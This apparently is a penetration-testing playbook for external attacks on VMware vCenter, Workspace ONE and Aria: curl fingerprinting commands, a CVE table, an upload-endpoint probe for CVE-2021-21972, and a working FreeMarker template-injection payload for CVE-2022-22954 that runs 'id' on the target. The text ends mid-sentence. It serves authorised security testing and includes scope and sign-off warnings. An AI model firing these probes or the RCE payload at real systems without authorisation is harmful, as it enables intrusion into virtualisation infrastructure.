/vmware-vcenter-attack

name: vmware-vcenter-attack
description: VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
sources: vmware-security-advisories, public-cve-databases, redteam-knowledge, disclosed-cves, cisa-kev, mandiant-zdi-writeups
report_count: 10

When to use

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: `/ui`, `/ui/login`, `/websso/SAML2/Metadata`, `/sdk`, `/mob` (Managed Object Browser)
• TLS cert SAN includes `vcenter` / `vsphere` / `vcsa` / `psc` / `vmware`
• Workspace ONE Access / Identity Manager: `/SAAS`, `/SAAS/auth`, `/SAAS/login`, `/SAAS/horizon`
• VMware Aria / vRealize: `/vco`, `/vco-controlcenter`, `/orchestrator`, `/lcm/api/v1`
• Horizon View: `/portal`, `/admin`

Do NOT use for:

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

---

Step 1 — Version fingerprinting

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

---

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

| CVE | Affected | Vector | Status | |---|---|---|---| | **CVE-2024-37085** | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops | | **CVE-2024-22273** | ESXi/Workstation/Fusion/vCenter storage controller | OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9) | Important (CVSS 8.1), not external pre-auth | | **CVE-2024-22252/53** | Workstation/Fusion (not vCenter) | Sandbox escape | Not external | | **CVE-2023-34048** | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 | | **CVE-2023-20887** | Aria Operations for Networks | Pre-auth command injection → RCE | Critical | | **CVE-2023-20892** | vCenter 7/8 | Use-after-free in DCE/RPC | High | | **CVE-2022-31656/31659** | Workspace ONE Access 21.x | Pre-auth SSRF + auth bypass | Critical chained | | **CVE-2022-22954** | Workspace ONE Access | Pre-auth server-side template injection (SSTI) → RCE | Critical, widely exploited | | **CVE-2021-22005** | vCenter 6.7/7.0 < build | Analytics service pre-auth file upload → RCE | Critical | | **CVE-2021-21985** | vCenter 6.5/6.7/7.0 < build | vSAN Health Check plugin pre-auth RCE | Critical | | **CVE-2021-21972** | vCenter 6.5/6.7/7.0 < build | vRealize plugin `/ui/vropspluginui/rest/services/uploadova` pre-auth file upload → RCE | Critical, exploited heavily | | **CVE-2020-3992** | ESXi OpenSLP | Pre-auth use-after-free → RCE | Critical, ESXi ransomware vector | | **CVE-2019-5544** | ESXi OpenSLP | Pre-auth heap overflow | Critical |

---

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

---

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

Confirmed RCE requires the unique `$CANARY` reflected in-band plus `uid=` output not present in the Stage-A baseline → critical. Stop and report. A bare `uid=` with no canary echo is NOT confirmation